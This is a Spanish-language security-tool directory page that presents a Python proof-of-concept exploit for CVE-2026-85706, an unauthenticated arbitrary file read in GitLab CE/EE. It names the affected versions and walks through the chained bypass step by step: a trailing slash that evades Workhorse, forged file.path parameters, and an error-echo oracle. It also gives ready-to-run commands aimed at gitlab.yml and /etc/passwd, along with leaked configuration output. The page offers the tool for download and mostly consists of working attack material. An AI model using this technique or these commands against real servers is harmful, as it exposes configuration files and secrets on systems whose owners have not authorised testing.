Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-85706 — PoC en Python que explota CVE-2026-85706, un path traversal no autenticado y lectura arbitraria de archivos en GitLab CE/EE a través del endpoint create-commit, con oráculo de lectura de archivos. | Kitploit
Herramientas/GitHubGitHub/brigadeops32/cve-2026-85706
Escáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosRecopilación de InformaciónSeguridad WebPruebas de Penetración
GitHubbrigadeops32/cve-2026-85706

CVE-2026-85706

PoC en Python que explota CVE-2026-85706, un path traversal no autenticado y lectura arbitraria de archivos en GitLab CE/EE a través del endpoint create-commit, con oráculo de lectura de archivos.

hace 7h 37mAún no revisado
Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-85706

Path traversal no autenticado / lectura arbitraria de archivos en GitLab CE y EE. CVSS 10.0. Verificado contra una instancia autogestionada 19.3.1 en un laboratorio local.

Afectados

GitLab CE/EE:

  • 18.7 hasta 19.1.7
  • 19.2.0 hasta 19.2.5
  • 19.3.0 hasta 19.3.1

Precondición: la instancia tiene al menos un proyecto público. Cualquier id de proyecto real sirve. No se necesita cuenta ni token.

Cómo funciona

El endpoint create-commit POST /api/v4/projects/:id/repository/commits acepta cuerpos de archivos grandes, por lo que Workhorse almacena en búfer el cuerpo de la solicitud en disco e inyecta metadatos file.path / file.size para que Rails los lea. Cuatro errores se alinean:

  1. La ruta solo verifica require_gitlab_workhorse! en la entrada. El verdadero authenticate! está detrás de authorize_push_to_branch!, que se ejecuta después de la lectura del archivo.
  • file_params_from_body_upload toma file.path y file.size directamente de los parámetros de la solicitud, por lo que File.read(file_path) sigue cualquier ruta absoluta que proporciones.
  • La intercepción de carga del cuerpo de Workhorse coincide con .../repository/commits\z. Añadir una barra diagonal final omite esa ruta y recae en el proxy inverso firmado, que reenvía el cuerpo sin procesar con un JWT válido. La verificación de Workhorse pasa, Grape normaliza la barra diagonal y los parámetros falsificados sobreviven.
  • Con Content-Type: application/x-www-form-urlencoded el contenido del archivo es analizado por Rack::Utils.parse_nested_query. Una secuencia % ilegal genera ArgumentError: invalid %-encoding (<component>) y la respuesta 400 hace eco de ese componente textualmente.
  • La lectura se ejecuta como el usuario git. El contenido solo se devuelve si el archivo contiene una secuencia % ilegal; de lo contrario, aún obtienes un oráculo limpio de existencia y legibilidad:

    RespuestaSignificado
    400 local file not presentel archivo no existe
    500existe, no legible por git
    401existe y es legible, sin % ilegal, nada se hace eco
    400 invalid %-encoding (...)legible, componente devuelto

    Archivos que hacen eco de forma fiable en una instalación omnibus predeterminada: gitlab.yml (el comentario de cabecera alcanza 95% temprano), registros y artefactos de trabajos de CI, adjuntos subidos, y database.yml en despliegues con una base de datos externa.

    Uso

    root@kitploit:~
    python3 exploit.py -t http://target:8080                 # reads gitlab.yml
    python3 exploit.py -t http://target:8080 -f /etc/passwd
    python3 exploit.py -t http://target:8080 -p 3 -o out.txt
    

    Sin dependencias, solo la biblioteca estándar.

    Salida verificada

    Contra gitlab-ce 19.3.1 en docker, cero credenciales:

    root@kitploit:~
    $ python3 exploit.py -t http://127.0.0.1:8929
    [*] HTTP 400 | leaked
    [+] leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
    ------------------------------------------------------------
    =========================
    
      ## GitLab settings
      gitlab:
        ## Web server settings (note: host is the FQDN, do not include http://)
        host: localhost
        port: 8929
        https: false
        ...
    ------------------------------------------------------------
    

    Comprobaciones puntuales del oráculo de la misma ejecución:

    root@kitploit:~
    /etc/passwd        -> 401 (readable, no echo)
    /etc/shadow        -> 500 (exists, permission denied)
    /etc/nonexistent   -> 400 local file not present
    

    Descargo de responsabilidad

    Solo para pruebas de seguridad autorizadas e investigación. No lo uses contra sistemas que no poseas o para los que no tengas permiso explícito de probar.

    Descargar herramienta